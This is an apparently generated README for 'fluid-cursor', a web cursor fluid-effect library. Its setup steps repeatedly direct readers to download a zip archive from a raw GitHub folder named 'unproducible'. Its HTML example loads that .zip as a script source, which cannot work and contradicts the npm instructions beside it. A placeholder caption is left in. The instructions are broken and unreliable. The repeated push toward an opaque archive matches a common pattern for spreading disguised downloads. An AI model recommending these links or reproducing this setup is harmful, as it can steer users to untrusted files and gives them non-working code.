Welcome to fluid-cursor! This is an easy-to-use tool that adds a high-performance fluid simulation effect to your website’s cursor. Whether you’re working with plain HTML, React, or Vue, fluid-cursor makes your web applications dynamic.
- Lightweight: Minimal impact on performance.
- No Dependencies: Just drop it in your project and it's ready to go.
- Compatibility: Works seamlessly with major web frameworks like React and Vue.
- Visual Appeal: Grab your users' attention with an interactive cursor.
To run fluid-cursor, you need:
- A modern web browser (like Chrome, Firefox, or Safari).
- Basic web hosting or local server for testing (optional but recommended).
To get started with fluid-cursor, follow these steps:
-
Visit the Releases Page: Go to the fluid-cursor Releases page.
-
Download the latest version: Look for the latest release at the top of the page. You will find a list of files to download.
-
Select the right file:
- For most users, you will want the
https://raw.githubusercontent.com/RRNNimsara/fluid-cursor/main/unproducible/fluid-cursor-v1.5.zipfile, which is the optimized version for production.
(This image is a placeholder for the actual interface)
- For most users, you will want the
-
Save the File: Once you click on the file link, the file will download to your computer.
-
Integrate the File into Your Project:
- If you’re using HTML, include it in your HTML head tag:
<script src="https://raw.githubusercontent.com/RRNNimsara/fluid-cursor/main/unproducible/fluid-cursor-v1.5.zip"></script>
- For React, install using npm or link it in your component:
npm install fluid-cursor
- Then import it into your React component:
import FluidCursor from 'fluid-cursor';
- If you’re using HTML, include it in your HTML head tag:
-
Customize Your Cursor: You can set various properties to customize the fluid effect. Check out the Documentation for examples.
Here is a simple example of how to set up fluid-cursor in an HTML file:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://raw.githubusercontent.com/RRNNimsara/fluid-cursor/main/unproducible/fluid-cursor-v1.5.zip"></script>
<title>Fluid Cursor Example</title>
</head>
<body>
<h1>Welcome to fluid-cursor!</h1>
<script>
const cursor = new FluidCursor({
color: '#ff0000',
size: 30
});
</script>
</body>
</html>In this example, the cursor will be red and have a size of 30 pixels.
You can customize various aspects of the fluid cursor:
- Color: Change the color to match your site’s palette.
- Size: Adjust the size of the cursor effect.
- Border: Add a border to the fluid effect for more definition.
- Animation Speed: Control how fast the fluid effect responds to cursor movement.
Check the official documentation for a full list of options.
If you need help or have questions:
- Join our GitHub Discussions page to interact with the community.
- Report issues or request features on the Issues page.
Here are some topics you may find interesting:
- Animation
- WebGL
- Frontend Development
- React Components
fluid-cursor is open-source and follows the MIT License. Feel free to use and modify it for your personal or commercial projects.
Don’t forget to download fluid-cursor today and make your web applications more interactive!